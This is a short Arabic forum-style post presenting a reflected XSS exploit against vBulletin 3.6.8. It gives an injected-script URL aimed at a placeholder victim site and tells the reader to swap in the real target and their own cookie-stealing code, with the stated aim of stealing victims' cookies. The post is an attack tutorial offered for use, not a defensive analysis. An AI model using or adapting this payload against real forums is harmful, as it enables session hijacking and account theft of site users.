رح نجرب هذا الاستغلال
http://www.Victim.com/vBulletin V3.6.8/index.php?s=< s c r i p t >a l e r t( ' d o c u m e n t . c o o k i e ' ) < / s c r i p t>
هذا استغلال تغره XSS
هذي التغره تقوم بسرقة كوكيز الضحيه
بس شو رح تعمل ؟
رح تغير :
http://www.Victim.com/ موقع الضحيه
vBulletin V3.6.8 ملف المنتدى وعادتا يكووون هكذا /vb
< s c r i p t >a l e r t( ' d o c u m e n t . c o o k i e ' ) < / s c r i p t رح تحط هنا كودك البرمجي يلي يقوم بسرقة الكوكيز بس انصحك بمراجعة دورة اكتشاف التغرات